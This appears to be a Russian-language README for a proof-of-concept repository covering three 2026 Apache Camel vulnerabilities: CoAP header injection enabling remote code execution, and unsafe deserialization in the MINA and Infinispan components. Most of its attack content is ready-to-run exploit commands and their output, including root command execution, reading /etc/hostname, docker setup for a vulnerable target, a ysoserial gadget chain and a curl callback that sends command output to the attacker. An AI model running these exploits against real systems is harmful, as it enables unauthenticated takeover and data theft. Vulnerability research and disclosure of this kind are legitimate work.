
Предоставляет рабочие proof-of-concept эксплойты и подробный анализ трёх критических уязвимостей Apache Camel, включая внедрение заголовков CoAP и небезопасную десериализацию, приводящую к удалённому выполнению кода.
Три критических уязвимости в Apache Camel 4.18.0, обнаруженные независимо и подтверждённые рабочими proof-of-concept эксплойтами.
| CVE | Компонент | Тип | CVSS | Вердикт |
|---|---|---|---|---|
| CVE-2026-33453 | camel-coap | Инъекция заголовков → RCE | 10.0 Critical | Эксплуатируемая |
| CVE-2026-40473 | camel-mina | Небезопасная десериализация → RCE | 9.8 Critical | Эксплуатируемая |
| CVE-2026-40858 | camel-infinispan | Небезопасная десериализация | 8.8 High | Эксплуатируемая |
Компонент: camel-coap — CamelCoapResource.java:103-109
CWE: CWE-915 (Некорректно контролируемая модификация атрибутов объектов)
Исправлено в: Camel 4.18.1 / 4.14.6
CamelCoapResource.handleRequest() напрямую сопоставляет параметры URI-запроса CoAP с заголовками Camel Exchange через setHeader() без HeaderFilterStrategy. CoAPEndpoint расширяет DefaultEndpoint вместо DefaultHeaderFilterStrategyEndpoint, поэтому внутренние заголовки с префиксом Camel* могут быть внедрены любым неаутентифицированным клиентом.
Когда маршрут пересылает данные в camel-exec, управляемые атакующим заголовки CamelExecCommandExecutable и CamelExecCommandArgs переопределяют сконфигурированную команду, обеспечивая RCE без аутентификации с помощью одного UDP-пакета.
// CamelCoapResource.java:103-109 — НЕТ HeaderFilterStrategy
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Response: 2.05
[+] Command output: cf6ee154412e
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Command output: app bin boot dev etc home lib ...
Компонент: camel-mina — MinaConverter.java:60-63
CWE: CWE-502 (Десериализация недоверенных данных)
Исправлено в: Camel 4.18.2 / 4.14.6 / 4.20.0
MinaConverter.toObjectInput(IoBuffer) создаёт сырой java.io.ObjectInputStream без ObjectInputFilter. Когда конечная точка MINA сконфигурирована с allowDefaultCodec=false, сырые TCP-данные поступают как IoBuffer и достигают преобразователя типов Camel, который вызывает этот метод — оборачивая управляемые атакующим сетевые байты в нефильтрованный ObjectInputStream.
// MinaConverter.java:60-63 — НЕТ ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = toInputStream(buffer);
return new ObjectInputStream(is); // управляемые атакующим байты, БЕЗ ФИЛЬТРА
}
Вектор атаки: Эксплойт нацелен на TCP-конечную точку MINA с allowDefaultCodec=false (порт 9879 в PoC). Это полностью обходит уровень кодеков MINA — ObjectSerializationCodecFactory имеет собственный allowlist ClassNameMatcher, который в противном случае заблокировал бы произвольные классы. При отключённом кодеке сырые байты поступают напрямую в MinaConverter.toObjectInput(), который создаёт стандартный ObjectInputStream без какой-либо фильтрации классов.
Цепочка гаджетов CommonsCollections6 (через ysoserial) обеспечивает выполнение произвольных команд от имени root. Вывод команд извлекается через curl callback на атакующего.

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Command output:
uid=0(root) gid=0(root) groups=0(root)
[+] CONFIRMED: CVE-2026-40473 RCE — команда выполнена через десериализацию
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Command output:
Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar 8 14:41:59 UTC 2026 aarch64 GNU/Linux
ysoserial-all.jar (гаджет CommonsCollections6)cd poc/
docker compose up -d --build
Дождитесь запуска контейнера, затем проверьте:
docker logs vuln-camel-mina
Вы должны увидеть:

[*] Vulnerable MINA server started
[*] Port 9877: transferExchange (Java deser) endpoint
[*] Port 9878: Object serialization codec endpoint
[*] Port 9879: Raw TCP (MinaConverter.toObjectInput) endpoint
[*] Waiting for connections...
Порт 9879 является целью — он использует allowDefaultCodec=false, что отключает фильтр кодеков MINA и позволяет сырому IoBuffer достигать нефильтрованного MinaConverter.toObjectInput() в Camel.
Сначала убедитесь, что конечная точка принимает и десериализует произвольные Java-объекты без ObjectInputFilter:
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

[*] Probe mode — confirming deserialization (no RCE)
[*] Payload: HashMap (82 bytes, raw — no MINA frame)
[+] Connected to MINA endpoint
[+] Payload sent
[+] Data reached readObject() with no filter rejection
Проверка отправляет сериализованный HashMap. Сервер десериализует его через ObjectInputStream.readObject() без InvalidClassException — что подтверждает отсутствие фильтрации классов.
С доступным ysoserial эксплуатируйте нефильтрованную десериализацию для выполнения произвольных команд:
# Выполнить 'id' — возвращает uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# Чтение файлов
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'
# Информация о системе
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
Эксплойт генерирует цепочку гаджетов CommonsCollections6, отправляет её как сырые байты на порт 9879 и перехватывает вывод команды через прослушиватель curl callback.
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
[--gadget GADGET] [--probe] [--raw]
target [port] [command]